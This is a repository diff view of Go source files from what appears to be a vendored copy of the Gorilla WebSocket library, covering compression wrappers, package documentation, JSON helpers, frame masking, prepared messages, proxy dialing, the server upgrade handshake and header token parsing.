func (w *truncWriter) Write(p []byte) (int, error) {
n := 0
// fill buffer first for simplicity.
if w.n < len(w.p) {
n = copy(w.p[w.n:], p)
p = p[n:]
w.n += n
if len(p) == 0 {
return n, nil
}
}
m := len(p)
if m > len(w.p) {
m = len(w.p)
}
if nn, err := w.w.Write(w.p[:m]); err != nil {
return n + nn, err
}
copy(w.p[:], w.p[m:])
copy(w.p[len(w.p)-m:], p[len(p)-m:])
nn, err := w.w.Write(p[:len(p)-m])
return n + nn, err
}
type flateWriteWrapper struct {
fw *flate.Writer
tw *truncWriter
p *sync.Pool
}
func (w *flateWriteWrapper) Write(p []byte) (int, error) {
if w.fw == nil {
return 0, errWriteClosed
}
return w.fw.Write(p)
}
func (w *flateWriteWrapper) Close() error {
if w.fw == nil {
return errWriteClosed
}
err1 := w.fw.Flush()
w.p.Put(w.fw)
w.fw = nil
if w.tw.p != [4]byte{0, 0, 0xff, 0xff} {
return errors.New("websocket: internal error, unexpected bytes at end of flate stream")
}
err2 := w.tw.w.Close()
if err1 != nil {
return err1
}
return err2
}
type flateReadWrapper struct {
fr io.ReadCloser
}
func (r *flateReadWrapper) Read(p []byte) (int, error) {
if r.fr == nil {
return 0, io.ErrClosedPipe
}
n, err := r.fr.Read(p)
if err == io.EOF {
// Preemptively place the reader back in the pool. This helps with
// scenarios where the application does not call NextReader() soon after
// this final read.
r.Close()
}
return n, err
}
func (r *flateReadWrapper) Close() error {
if r.fr == nil {
return io.ErrClosedPipe
}
err := r.fr.Close()
flateReaderPool.Put(r.fr)
r.fr = nil
return err
}
+1201
View File
File diff suppressed because it is too large. Load diff
+15
View File
@@ -0,0 +1,15 @@
// Copyright 2016 The Gorilla WebSocket Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build go1.8
package websocket
import "net"
func (c *Conn) writeBufs(bufs ...[]byte) error {
b := net.Buffers(bufs)
_, err := b.WriteTo(c.conn)
return err
}
+18
View File
@@ -0,0 +1,18 @@
// Copyright 2016 The Gorilla WebSocket Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build !go1.8
package websocket
func (c *Conn) writeBufs(bufs ...[]byte) error {
for _, buf := range bufs {
if len(buf) > 0 {
if _, err := c.conn.Write(buf); err != nil {
return err
}
}
}
return nil
}
+227
View File
@@ -0,0 +1,227 @@
// Copyright 2013 The Gorilla WebSocket Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Package websocket implements the WebSocket protocol defined in RFC 6455.
//
// Overview
//
// The Conn type represents a WebSocket connection. A server application calls
// the Upgrader.Upgrade method from an HTTP request handler to get a *Conn:
//
// var upgrader = websocket.Upgrader{
// ReadBufferSize: 1024,
// WriteBufferSize: 1024,
// }
//
// func handler(w http.ResponseWriter, r *http.Request) {
// conn, err := upgrader.Upgrade(w, r, nil)
// if err != nil {
// log.Println(err)
// return
// }
// ... Use conn to send and receive messages.
// }
//
// Call the connection's WriteMessage and ReadMessage methods to send and
// receive messages as a slice of bytes. This snippet of code shows how to echo
// messages using these methods:
//
// for {
// messageType, p, err := conn.ReadMessage()
// if err != nil {
// log.Println(err)
// return
// }
// if err := conn.WriteMessage(messageType, p); err != nil {
// log.Println(err)
// return
// }
// }
//
// In above snippet of code, p is a []byte and messageType is an int with value
// websocket.BinaryMessage or websocket.TextMessage.
//
// An application can also send and receive messages using the io.WriteCloser
// and io.Reader interfaces. To send a message, call the connection NextWriter
// method to get an io.WriteCloser, write the message to the writer and close
// the writer when done. To receive a message, call the connection NextReader
// method to get an io.Reader and read until io.EOF is returned. This snippet
// shows how to echo messages using the NextWriter and NextReader methods:
//
// for {
// messageType, r, err := conn.NextReader()
// if err != nil {
// return
// }
// w, err := conn.NextWriter(messageType)
// if err != nil {
// return err
// }
// if _, err := io.Copy(w, r); err != nil {
// return err
// }
// if err := w.Close(); err != nil {
// return err
// }
// }
//
// Data Messages
//
// The WebSocket protocol distinguishes between text and binary data messages.
// Text messages are interpreted as UTF-8 encoded text. The interpretation of
// binary messages is left to the application.
//
// This package uses the TextMessage and BinaryMessage integer constants to
// identify the two data message types. The ReadMessage and NextReader methods
// return the type of the received message. The messageType argument to the
// WriteMessage and NextWriter methods specifies the type of a sent message.
//
// It is the application's responsibility to ensure that text messages are
// valid UTF-8 encoded text.
//
// Control Messages
//
// The WebSocket protocol defines three types of control messages: close, ping
// and pong. Call the connection WriteControl, WriteMessage or NextWriter
// methods to send a control message to the peer.
//
// Connections handle received close messages by calling the handler function
// set with the SetCloseHandler method and by returning a *CloseError from the
// NextReader, ReadMessage or the message Read method. The default close
// handler sends a close message to the peer.
//
// Connections handle received ping messages by calling the handler function
// set with the SetPingHandler method. The default ping handler sends a pong
// message to the peer.
//
// Connections handle received pong messages by calling the handler function
// set with the SetPongHandler method. The default pong handler does nothing.
// If an application sends ping messages, then the application should set a
// pong handler to receive the corresponding pong.
//
// The control message handler functions are called from the NextReader,
// ReadMessage and message reader Read methods. The default close and ping
// handlers can block these methods for a short time when the handler writes to
// the connection.
//
// The application must read the connection to process close, ping and pong
// messages sent from the peer. If the application is not otherwise interested
// in messages from the peer, then the application should start a goroutine to
// read and discard messages from the peer. A simple example is:
//
// func readLoop(c *websocket.Conn) {
// for {
// if _, _, err := c.NextReader(); err != nil {
// c.Close()
// break
// }
// }
// }
//
// Concurrency
//
// Connections support one concurrent reader and one concurrent writer.
//
// Applications are responsible for ensuring that no more than one goroutine
// calls the write methods (NextWriter, SetWriteDeadline, WriteMessage,
// WriteJSON, EnableWriteCompression, SetCompressionLevel) concurrently and
// that no more than one goroutine calls the read methods (NextReader,
// SetReadDeadline, ReadMessage, ReadJSON, SetPongHandler, SetPingHandler)
// concurrently.
//
// The Close and WriteControl methods can be called concurrently with all other
// methods.
//
// Origin Considerations
//
// Web browsers allow Javascript applications to open a WebSocket connection to
// any host. It's up to the server to enforce an origin policy using the Origin
// request header sent by the browser.
//
// The Upgrader calls the function specified in the CheckOrigin field to check
// the origin. If the CheckOrigin function returns false, then the Upgrade
// method fails the WebSocket handshake with HTTP status 403.
//
// If the CheckOrigin field is nil, then the Upgrader uses a safe default: fail
// the handshake if the Origin request header is present and the Origin host is
// not equal to the Host request header.
//
// The deprecated package-level Upgrade function does not perform origin
// checking. The application is responsible for checking the Origin header
// before calling the Upgrade function.
//
// Buffers
//
// Connections buffer network input and output to reduce the number
// of system calls when reading or writing messages.
//
// Write buffers are also used for constructing WebSocket frames. See RFC 6455,
// Section 5 for a discussion of message framing. A WebSocket frame header is
// written to the network each time a write buffer is flushed to the network.
// Decreasing the size of the write buffer can increase the amount of framing
// overhead on the connection.
//
// The buffer sizes in bytes are specified by the ReadBufferSize and
// WriteBufferSize fields in the Dialer and Upgrader. The Dialer uses a default
// size of 4096 when a buffer size field is set to zero. The Upgrader reuses
// buffers created by the HTTP server when a buffer size field is set to zero.
// The HTTP server buffers have a size of 4096 at the time of this writing.
//
// The buffer sizes do not limit the size of a message that can be read or
// written by a connection.
//
// Buffers are held for the lifetime of the connection by default. If the
// Dialer or Upgrader WriteBufferPool field is set, then a connection holds the
// write buffer only when writing a message.
//
// Applications should tune the buffer sizes to balance memory use and
// performance. Increasing the buffer size uses more memory, but can reduce the
// number of system calls to read or write the network. In the case of writing,
// increasing the buffer size can reduce the number of frame headers written to
// the network.
//
// Some guidelines for setting buffer parameters are:
//
// Limit the buffer sizes to the maximum expected message size. Buffers larger
// than the largest message do not provide any benefit.
//
// Depending on the distribution of message sizes, setting the buffer size to
// a value less than the maximum expected message size can greatly reduce memory
// use with a small impact on performance. Here's an example: If 99% of the
// messages are smaller than 256 bytes and the maximum message size is 512
// bytes, then a buffer size of 256 bytes will result in 1.01 more system calls
// than a buffer size of 512 bytes. The memory savings is 50%.
//
// A write buffer pool is useful when the application has a modest number
// writes over a large number of connections. when buffers are pooled, a larger
// buffer size has a reduced impact on total memory use and has the benefit of
// reducing system calls and frame overhead.
//
// Compression EXPERIMENTAL
//
// Per message compression extensions (RFC 7692) are experimentally supported
// by this package in a limited capacity. Setting the EnableCompression option
// to true in Dialer or Upgrader will attempt to negotiate per message deflate
// support.
//
// var upgrader = websocket.Upgrader{
// EnableCompression: true,
// }
//
// If compression was successfully negotiated with the connection's peer, any
// message received in compressed form will be automatically decompressed.
// All Read methods will return uncompressed bytes.
//
// Per message compression of messages written to a connection can be enabled
// or disabled by calling the corresponding Conn method:
//
// conn.EnableWriteCompression(false)
//
// Currently this package does not support compression with "context takeover".
// This means that messages must be compressed and decompressed in isolation,
// without retaining sliding window or dictionary state across messages. For
// more details refer to RFC 7692.
//
// Use of compression is experimental and may result in decreased performance.
package websocket
+42
View File
@@ -0,0 +1,42 @@
// Copyright 2019 The Gorilla WebSocket Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package websocket
import (
"io"
"strings"
)
// JoinMessages concatenates received messages to create a single io.Reader.
// The string term is appended to each message. The returned reader does not
// support concurrent calls to the Read method.
func JoinMessages(c *Conn, term string) io.Reader {
return &joinReader{c: c, term: term}
}
type joinReader struct {
c *Conn
term string
r io.Reader
}
func (r *joinReader) Read(p []byte) (int, error) {
if r.r == nil {
var err error
_, r.r, err = r.c.NextReader()
if err != nil {
return 0, err
}
if r.term != "" {
r.r = io.MultiReader(r.r, strings.NewReader(r.term))
}
}
n, err := r.r.Read(p)
if err == io.EOF {
err = nil
r.r = nil
}
return n, err
}
+60
View File
@@ -0,0 +1,60 @@
// Copyright 2013 The Gorilla WebSocket Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package websocket
import (
"encoding/json"
"io"
)
// WriteJSON writes the JSON encoding of v as a message.
//
// Deprecated: Use c.WriteJSON instead.
func WriteJSON(c *Conn, v interface{}) error {
return c.WriteJSON(v)
}
// WriteJSON writes the JSON encoding of v as a message.
//
// See the documentation for encoding/json Marshal for details about the
// conversion of Go values to JSON.
func (c *Conn) WriteJSON(v interface{}) error {
w, err := c.NextWriter(TextMessage)
if err != nil {
return err
}
err1 := json.NewEncoder(w).Encode(v)
err2 := w.Close()
if err1 != nil {
return err1
}
return err2
}
// ReadJSON reads the next JSON-encoded message from the connection and stores
// it in the value pointed to by v.
//
// Deprecated: Use c.ReadJSON instead.
func ReadJSON(c *Conn, v interface{}) error {
return c.ReadJSON(v)
}
// ReadJSON reads the next JSON-encoded message from the connection and stores
// it in the value pointed to by v.
//
// See the documentation for the encoding/json Unmarshal function for details
// about the conversion of JSON to a Go value.
func (c *Conn) ReadJSON(v interface{}) error {
_, r, err := c.NextReader()
if err != nil {
return err
}
err = json.NewDecoder(r).Decode(v)
if err == io.EOF {
// One value is expected in the message.
err = io.ErrUnexpectedEOF
}
return err
}
+54
View File
@@ -0,0 +1,54 @@
// Copyright 2016 The Gorilla WebSocket Authors. All rights reserved. Use of
// this source code is governed by a BSD-style license that can be found in the
// LICENSE file.
// +build !appengine
package websocket
import "unsafe"
const wordSize = int(unsafe.Sizeof(uintptr(0)))
func maskBytes(key [4]byte, pos int, b []byte) int {
// Mask one byte at a time for small buffers.
if len(b) < 2*wordSize {
for i := range b {
b[i] ^= key[pos&3]
pos++
}
return pos & 3
}
// Mask one byte at a time to word boundary.
if n := int(uintptr(unsafe.Pointer(&b[0]))) % wordSize; n != 0 {
n = wordSize - n
for i := range b[:n] {
b[i] ^= key[pos&3]
pos++
}
b = b[n:]
}
// Create aligned word size key.
var k [wordSize]byte
for i := range k {
k[i] = key[(pos+i)&3]
}
kw := *(*uintptr)(unsafe.Pointer(&k))
// Mask one word at a time.
n := (len(b) / wordSize) * wordSize
for i := 0; i < n; i += wordSize {
*(*uintptr)(unsafe.Pointer(uintptr(unsafe.Pointer(&b[0])) + uintptr(i))) ^= kw
}
// Mask one byte at a time for remaining bytes.
b = b[n:]
for i := range b {
b[i] ^= key[pos&3]
pos++
}
return pos & 3
}
+15
View File
@@ -0,0 +1,15 @@
// Copyright 2016 The Gorilla WebSocket Authors. All rights reserved. Use of
// this source code is governed by a BSD-style license that can be found in the
// LICENSE file.
// +build appengine
package websocket
func maskBytes(key [4]byte, pos int, b []byte) int {
for i := range b {
b[i] ^= key[pos&3]
pos++
}
return pos & 3
}
+102
View File
@@ -0,0 +1,102 @@
// Copyright 2017 The Gorilla WebSocket Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package websocket
import (
"bytes"
"net"
"sync"
"time"
)
// PreparedMessage caches on the wire representations of a message payload.
// Use PreparedMessage to efficiently send a message payload to multiple
// connections. PreparedMessage is especially useful when compression is used
// because the CPU and memory expensive compression operation can be executed
// once for a given set of compression options.
type PreparedMessage struct {
messageType int
data []byte
mu sync.Mutex
frames map[prepareKey]*preparedFrame
}
// prepareKey defines a unique set of options to cache prepared frames in PreparedMessage.
type prepareKey struct {
isServer bool
compress bool
compressionLevel int
}
// preparedFrame contains data in wire representation.
type preparedFrame struct {
once sync.Once
data []byte
}
// NewPreparedMessage returns an initialized PreparedMessage. You can then send
// it to connection using WritePreparedMessage method. Valid wire
// representation will be calculated lazily only once for a set of current
// connection options.
func NewPreparedMessage(messageType int, data []byte) (*PreparedMessage, error) {
pm := &PreparedMessage{
messageType: messageType,
frames: make(map[prepareKey]*preparedFrame),
data: data,
}
// Prepare a plain server frame.
_, frameData, err := pm.frame(prepareKey{isServer: true, compress: false})
if err != nil {
return nil, err
}
// To protect against caller modifying the data argument, remember the data
// copied to the plain server frame.
pm.data = frameData[len(frameData)-len(data):]
return pm, nil
}
func (pm *PreparedMessage) frame(key prepareKey) (int, []byte, error) {
pm.mu.Lock()
frame, ok := pm.frames[key]
if !ok {
frame = &preparedFrame{}
pm.frames[key] = frame
}
pm.mu.Unlock()
var err error
frame.once.Do(func() {
// Prepare a frame using a 'fake' connection.
// TODO: Refactor code in conn.go to allow more direct construction of
// the frame.
mu := make(chan struct{}, 1)
mu <- struct{}{}
var nc prepareConn
c := &Conn{
conn: &nc,
mu: mu,
isServer: key.isServer,
compressionLevel: key.compressionLevel,
enableWriteCompression: true,
writeBuf: make([]byte, defaultWriteBufferSize+maxFrameHeaderSize),
}
if key.compress {
c.newCompressionWriter = compressNoContextTakeover
}
err = c.WriteMessage(pm.messageType, pm.data)
frame.data = nc.buf.Bytes()
})
return pm.messageType, frame.data, err
}
type prepareConn struct {
buf bytes.Buffer
net.Conn
}
func (pc *prepareConn) Write(p []byte) (int, error) { return pc.buf.Write(p) }
func (pc *prepareConn) SetWriteDeadline(t time.Time) error { return nil }
+77
View File
@@ -0,0 +1,77 @@
// Copyright 2017 The Gorilla WebSocket Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package websocket
import (
"bufio"
"encoding/base64"
"errors"
"net"
"net/http"
"net/url"
"strings"
)
type netDialerFunc func(network, addr string) (net.Conn, error)
func (fn netDialerFunc) Dial(network, addr string) (net.Conn, error) {
return fn(network, addr)
}
func init() {
proxy_RegisterDialerType("http", func(proxyURL *url.URL, forwardDialer proxy_Dialer) (proxy_Dialer, error) {
return &httpProxyDialer{proxyURL: proxyURL, forwardDial: forwardDialer.Dial}, nil
})
}
type httpProxyDialer struct {
proxyURL *url.URL
forwardDial func(network, addr string) (net.Conn, error)
}
func (hpd *httpProxyDialer) Dial(network string, addr string) (net.Conn, error) {
hostPort, _ := hostPortNoPort(hpd.proxyURL)
conn, err := hpd.forwardDial(network, hostPort)
if err != nil {
return nil, err
}
connectHeader := make(http.Header)
if user := hpd.proxyURL.User; user != nil {
proxyUser := user.Username()
if proxyPassword, passwordSet := user.Password(); passwordSet {
credential := base64.StdEncoding.EncodeToString([]byte(proxyUser + ":" + proxyPassword))
connectHeader.Set("Proxy-Authorization", "Basic "+credential)
}
}
connectReq := &http.Request{
Method: "CONNECT",
URL: &url.URL{Opaque: addr},
Host: addr,
Header: connectHeader,
}
if err := connectReq.Write(conn); err != nil {
conn.Close()
return nil, err
}
// Read response. It's OK to use and discard buffered reader here becaue
// the remote server does not speak until spoken to.
br := bufio.NewReader(conn)
resp, err := http.ReadResponse(br, connectReq)
if err != nil {
conn.Close()
return nil, err
}
if resp.StatusCode != 200 {
conn.Close()
f := strings.SplitN(resp.Status, " ", 2)
return nil, errors.New(f[1])
}
return conn, nil
}
+363
View File
@@ -0,0 +1,363 @@
// Copyright 2013 The Gorilla WebSocket Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package websocket
import (
"bufio"
"errors"
"io"
"net/http"
"net/url"
"strings"
"time"
)
// HandshakeError describes an error with the handshake from the peer.
type HandshakeError struct {
message string
}
func (e HandshakeError) Error() string { return e.message }
// Upgrader specifies parameters for upgrading an HTTP connection to a
// WebSocket connection.
type Upgrader struct {
// HandshakeTimeout specifies the duration for the handshake to complete.
HandshakeTimeout time.Duration
// ReadBufferSize and WriteBufferSize specify I/O buffer sizes in bytes. If a buffer
// size is zero, then buffers allocated by the HTTP server are used. The
// I/O buffer sizes do not limit the size of the messages that can be sent
// or received.
ReadBufferSize, WriteBufferSize int
// WriteBufferPool is a pool of buffers for write operations. If the value
// is not set, then write buffers are allocated to the connection for the
// lifetime of the connection.
//
// A pool is most useful when the application has a modest volume of writes
// across a large number of connections.
//
// Applications should use a single pool for each unique value of
// WriteBufferSize.
WriteBufferPool BufferPool
// Subprotocols specifies the server's supported protocols in order of
// preference. If this field is not nil, then the Upgrade method negotiates a
// subprotocol by selecting the first match in this list with a protocol
// requested by the client. If there's no match, then no protocol is
// negotiated (the Sec-Websocket-Protocol header is not included in the
// handshake response).
Subprotocols []string
// Error specifies the function for generating HTTP error responses. If Error
// is nil, then http.Error is used to generate the HTTP response.
Error func(w http.ResponseWriter, r *http.Request, status int, reason error)
// CheckOrigin returns true if the request Origin header is acceptable. If
// CheckOrigin is nil, then a safe default is used: return false if the
// Origin request header is present and the origin host is not equal to
// request Host header.
//
// A CheckOrigin function should carefully validate the request origin to
// prevent cross-site request forgery.
CheckOrigin func(r *http.Request) bool
// EnableCompression specify if the server should attempt to negotiate per
// message compression (RFC 7692). Setting this value to true does not
// guarantee that compression will be supported. Currently only "no context
// takeover" modes are supported.
EnableCompression bool
}
func (u *Upgrader) returnError(w http.ResponseWriter, r *http.Request, status int, reason string) (*Conn, error) {
err := HandshakeError{reason}
if u.Error != nil {
u.Error(w, r, status, err)
} else {
w.Header().Set("Sec-Websocket-Version", "13")
http.Error(w, http.StatusText(status), status)
}
return nil, err
}
// checkSameOrigin returns true if the origin is not set or is equal to the request host.
func checkSameOrigin(r *http.Request) bool {
origin := r.Header["Origin"]
if len(origin) == 0 {
return true
}
u, err := url.Parse(origin[0])
if err != nil {
return false
}
return equalASCIIFold(u.Host, r.Host)
}
func (u *Upgrader) selectSubprotocol(r *http.Request, responseHeader http.Header) string {
if u.Subprotocols != nil {
clientProtocols := Subprotocols(r)
for _, serverProtocol := range u.Subprotocols {
for _, clientProtocol := range clientProtocols {
if clientProtocol == serverProtocol {
return clientProtocol
}
}
}
} else if responseHeader != nil {
return responseHeader.Get("Sec-Websocket-Protocol")
}
return ""
}
// Upgrade upgrades the HTTP server connection to the WebSocket protocol.
//
// The responseHeader is included in the response to the client's upgrade
// request. Use the responseHeader to specify cookies (Set-Cookie) and the
// application negotiated subprotocol (Sec-WebSocket-Protocol).
//
// If the upgrade fails, then Upgrade replies to the client with an HTTP error
// response.
func (u *Upgrader) Upgrade(w http.ResponseWriter, r *http.Request, responseHeader http.Header) (*Conn, error) {
const badHandshake = "websocket: the client is not using the websocket protocol: "
if !tokenListContainsValue(r.Header, "Connection", "upgrade") {
return u.returnError(w, r, http.StatusBadRequest, badHandshake+"'upgrade' token not found in 'Connection' header")
}
if !tokenListContainsValue(r.Header, "Upgrade", "websocket") {
return u.returnError(w, r, http.StatusBadRequest, badHandshake+"'websocket' token not found in 'Upgrade' header")
}
if r.Method != "GET" {
return u.returnError(w, r, http.StatusMethodNotAllowed, badHandshake+"request method is not GET")
}
if !tokenListContainsValue(r.Header, "Sec-Websocket-Version", "13") {
return u.returnError(w, r, http.StatusBadRequest, "websocket: unsupported version: 13 not found in 'Sec-Websocket-Version' header")
}
if _, ok := responseHeader["Sec-Websocket-Extensions"]; ok {
return u.returnError(w, r, http.StatusInternalServerError, "websocket: application specific 'Sec-WebSocket-Extensions' headers are unsupported")
}
checkOrigin := u.CheckOrigin
if checkOrigin == nil {
checkOrigin = checkSameOrigin
}
if !checkOrigin(r) {
return u.returnError(w, r, http.StatusForbidden, "websocket: request origin not allowed by Upgrader.CheckOrigin")
}
challengeKey := r.Header.Get("Sec-Websocket-Key")
if challengeKey == "" {
return u.returnError(w, r, http.StatusBadRequest, "websocket: not a websocket handshake: 'Sec-WebSocket-Key' header is missing or blank")
}
subprotocol := u.selectSubprotocol(r, responseHeader)
// Negotiate PMCE
var compress bool
if u.EnableCompression {
for _, ext := range parseExtensions(r.Header) {
if ext[""] != "permessage-deflate" {
continue
}
compress = true
break
}
}
h, ok := w.(http.Hijacker)
if !ok {
return u.returnError(w, r, http.StatusInternalServerError, "websocket: response does not implement http.Hijacker")
}
var brw *bufio.ReadWriter
netConn, brw, err := h.Hijack()
if err != nil {
return u.returnError(w, r, http.StatusInternalServerError, err.Error())
}
if brw.Reader.Buffered() > 0 {
netConn.Close()
return nil, errors.New("websocket: client sent data before handshake is complete")
}
var br *bufio.Reader
if u.ReadBufferSize == 0 && bufioReaderSize(netConn, brw.Reader) > 256 {
// Reuse hijacked buffered reader as connection reader.
br = brw.Reader
}
buf := bufioWriterBuffer(netConn, brw.Writer)
var writeBuf []byte
if u.WriteBufferPool == nil && u.WriteBufferSize == 0 && len(buf) >= maxFrameHeaderSize+256 {
// Reuse hijacked write buffer as connection buffer.
writeBuf = buf
}
c := newConn(netConn, true, u.ReadBufferSize, u.WriteBufferSize, u.WriteBufferPool, br, writeBuf)
c.subprotocol = subprotocol
if compress {
c.newCompressionWriter = compressNoContextTakeover
c.newDecompressionReader = decompressNoContextTakeover
}
// Use larger of hijacked buffer and connection write buffer for header.
p := buf
if len(c.writeBuf) > len(p) {
p = c.writeBuf
}
p = p[:0]
p = append(p, "HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: "...)
p = append(p, computeAcceptKey(challengeKey)...)
p = append(p, "\r\n"...)
if c.subprotocol != "" {
p = append(p, "Sec-WebSocket-Protocol: "...)
p = append(p, c.subprotocol...)
p = append(p, "\r\n"...)
}
if compress {
p = append(p, "Sec-WebSocket-Extensions: permessage-deflate; server_no_context_takeover; client_no_context_takeover\r\n"...)
}
for k, vs := range responseHeader {
if k == "Sec-Websocket-Protocol" {
continue
}
for _, v := range vs {
p = append(p, k...)
p = append(p, ": "...)
for i := 0; i < len(v); i++ {
b := v[i]
if b <= 31 {
// prevent response splitting.
b = ' '
}
p = append(p, b)
}
p = append(p, "\r\n"...)
}
}
p = append(p, "\r\n"...)
// Clear deadlines set by HTTP server.
netConn.SetDeadline(time.Time{})
if u.HandshakeTimeout > 0 {
netConn.SetWriteDeadline(time.Now().Add(u.HandshakeTimeout))
}
if _, err = netConn.Write(p); err != nil {
netConn.Close()
return nil, err
}
if u.HandshakeTimeout > 0 {
netConn.SetWriteDeadline(time.Time{})
}
return c, nil
}
// Upgrade upgrades the HTTP server connection to the WebSocket protocol.
//
// Deprecated: Use websocket.Upgrader instead.
//
// Upgrade does not perform origin checking. The application is responsible for
// checking the Origin header before calling Upgrade. An example implementation
// of the same origin policy check is:
//
// if req.Header.Get("Origin") != "http://"+req.Host {
// http.Error(w, "Origin not allowed", http.StatusForbidden)
// return
// }
//
// If the endpoint supports subprotocols, then the application is responsible
// for negotiating the protocol used on the connection. Use the Subprotocols()
// function to get the subprotocols requested by the client. Use the
// Sec-Websocket-Protocol response header to specify the subprotocol selected
// by the application.
//
// The responseHeader is included in the response to the client's upgrade
// request. Use the responseHeader to specify cookies (Set-Cookie) and the
// negotiated subprotocol (Sec-Websocket-Protocol).
//
// The connection buffers IO to the underlying network connection. The
// readBufSize and writeBufSize parameters specify the size of the buffers to
// use. Messages can be larger than the buffers.
//
// If the request is not a valid WebSocket handshake, then Upgrade returns an
// error of type HandshakeError. Applications should handle this error by
// replying to the client with an HTTP error response.
func Upgrade(w http.ResponseWriter, r *http.Request, responseHeader http.Header, readBufSize, writeBufSize int) (*Conn, error) {
u := Upgrader{ReadBufferSize: readBufSize, WriteBufferSize: writeBufSize}
u.Error = func(w http.ResponseWriter, r *http.Request, status int, reason error) {
// don't return errors to maintain backwards compatibility
}
u.CheckOrigin = func(r *http.Request) bool {
// allow all connections by default
return true
}
return u.Upgrade(w, r, responseHeader)
}
// Subprotocols returns the subprotocols requested by the client in the
// Sec-Websocket-Protocol header.
func Subprotocols(r *http.Request) []string {
h := strings.TrimSpace(r.Header.Get("Sec-Websocket-Protocol"))
if h == "" {
return nil
}
protocols := strings.Split(h, ",")
for i := range protocols {
protocols[i] = strings.TrimSpace(protocols[i])
}
return protocols
}
// IsWebSocketUpgrade returns true if the client requested upgrade to the
// WebSocket protocol.
func IsWebSocketUpgrade(r *http.Request) bool {
return tokenListContainsValue(r.Header, "Connection", "upgrade") &&
tokenListContainsValue(r.Header, "Upgrade", "websocket")
}
// bufioReaderSize size returns the size of a bufio.Reader.
func bufioReaderSize(originalReader io.Reader, br *bufio.Reader) int {
// This code assumes that peek on a reset reader returns
// bufio.Reader.buf[:0].
// TODO: Use bufio.Reader.Size() after Go 1.10
br.Reset(originalReader)
if p, err := br.Peek(0); err == nil {
return cap(p)
}
return 0
}
// writeHook is an io.Writer that records the last slice passed to it vio
// io.Writer.Write.
type writeHook struct {
p []byte
}
func (wh *writeHook) Write(p []byte) (int, error) {
wh.p = p
return len(p), nil
}
// bufioWriterBuffer grabs the buffer from a bufio.Writer.
func bufioWriterBuffer(originalWriter io.Writer, bw *bufio.Writer) []byte {
// This code assumes that bufio.Writer.buf[:1] is passed to the
// bufio.Writer's underlying writer.
var wh writeHook
bw.Reset(&wh)
bw.WriteByte(0)
bw.Flush()
bw.Reset(originalWriter)
return wh.p[:cap(wh.p)]
}
+19
View File
@@ -0,0 +1,19 @@
// +build go1.8
package websocket
import (
"crypto/tls"
"net/http/httptrace"
)
func doHandshakeWithTrace(trace *httptrace.ClientTrace, tlsConn *tls.Conn, cfg *tls.Config) error {
if trace.TLSHandshakeStart != nil {
trace.TLSHandshakeStart()
}
err := doHandshake(tlsConn, cfg)
if trace.TLSHandshakeDone != nil {
trace.TLSHandshakeDone(tlsConn.ConnectionState(), err)
}
return err
}
+12
View File
@@ -0,0 +1,12 @@
// +build !go1.8
package websocket
import (
"crypto/tls"
"net/http/httptrace"
)
func doHandshakeWithTrace(trace *httptrace.ClientTrace, tlsConn *tls.Conn, cfg *tls.Config) error {
return doHandshake(tlsConn, cfg)
}
+283
View File
@@ -0,0 +1,283 @@
// Copyright 2013 The Gorilla WebSocket Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package websocket
import (
"crypto/rand"
"crypto/sha1"
"encoding/base64"
"io"
"net/http"
"strings"
"unicode/utf8"
)
var keyGUID = []byte("258EAFA5-E914-47DA-95CA-C5AB0DC85B11")
func computeAcceptKey(challengeKey string) string {
h := sha1.New()
h.Write([]byte(challengeKey))
h.Write(keyGUID)
return base64.StdEncoding.EncodeToString(h.Sum(nil))
}
func generateChallengeKey() (string, error) {
p := make([]byte, 16)
if _, err := io.ReadFull(rand.Reader, p); err != nil {
return "", err
}
return base64.StdEncoding.EncodeToString(p), nil
}
// Token octets per RFC 2616.
var isTokenOctet = [256]bool{
'!': true,
'#': true,
'$': true,
'%': true,
'&': true,
'\'': true,
'*': true,
'+': true,
'-': true,
'.': true,
'0': true,
'1': true,
'2': true,
'3': true,
'4': true,
'5': true,
'6': true,
'7': true,
'8': true,
'9': true,
'A': true,
'B': true,
'C': true,
'D': true,
'E': true,
'F': true,
'G': true,
'H': true,
'I': true,
'J': true,
'K': true,
'L': true,
'M': true,
'N': true,
'O': true,
'P': true,
'Q': true,
'R': true,
'S': true,
'T': true,
'U': true,
'W': true,
'V': true,
'X': true,
'Y': true,
'Z': true,
'^': true,
'_': true,
'`': true,
'a': true,
'b': true,
'c': true,
'd': true,
'e': true,
'f': true,
'g': true,
'h': true,
'i': true,
'j': true,
'k': true,
'l': true,
'm': true,
'n': true,
'o': true,
'p': true,
'q': true,
'r': true,
's': true,
't': true,
'u': true,
'v': true,
'w': true,
'x': true,
'y': true,
'z': true,
'|': true,
'~': true,
}
// skipSpace returns a slice of the string s with all leading RFC 2616 linear
// whitespace removed.
func skipSpace(s string) (rest string) {
i := 0
for ; i < len(s); i++ {
if b := s[i]; b != ' ' && b != '\t' {
break
}
}
return s[i:]
}
// nextToken returns the leading RFC 2616 token of s and the string following
// the token.
func nextToken(s string) (token, rest string) {
i := 0
for ; i < len(s); i++ {
if !isTokenOctet[s[i]] {
break
}
}
return s[:i], s[i:]
}
// nextTokenOrQuoted returns the leading token or quoted string per RFC 2616
// and the string following the token or quoted string.
func nextTokenOrQuoted(s string) (value string, rest string) {
if !strings.HasPrefix(s, "\"") {
return nextToken(s)
}
s = s[1:]
for i := 0; i < len(s); i++ {
switch s[i] {
case '"':
return s[:i], s[i+1:]
case '\\':
p := make([]byte, len(s)-1)
j := copy(p, s[:i])
escape := true
for i = i + 1; i < len(s); i++ {
b := s[i]
switch {
case escape:
escape = false
p[j] = b
j++
case b == '\\':
escape = true
case b == '"':
return string(p[:j]), s[i+1:]
default:
p[j] = b
j++
}
}
return "", ""
}
}
return "", ""
}
